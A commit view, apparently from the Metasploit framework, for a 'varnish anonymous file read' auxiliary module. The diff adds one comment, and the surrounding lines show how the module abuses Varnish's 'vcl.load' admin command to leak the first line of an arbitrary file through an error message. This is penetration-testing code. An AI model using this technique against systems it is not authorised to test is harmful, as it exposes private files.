varnish anonymous file read

4.x
Jacob Robles 2018-03-09 11:30:22 -06:00 committed by Jeffrey Martin
parent bcc0a2a94c
commit 8c60a73731
No known key found for this signature in database
GPG Key ID: 0CD9BBC2AF15F171
1 changed files with 1 additions and 0 deletions

View File

@ -59,6 +59,7 @@ class MetasploitModule < Msf::Auxiliary
end
end
# abuse vcl.load to load a varnish config file and save it to a random variable. This will fail to give us the first line in debug message
sock.get_once
sock.puts("vcl.load #{Rex::Text.rand_text_alphanumeric(3)} #{datastore['FILE']}")
result = sock.get_once
if result && result =~ /Line \d Pos \d+\)\n(.*)/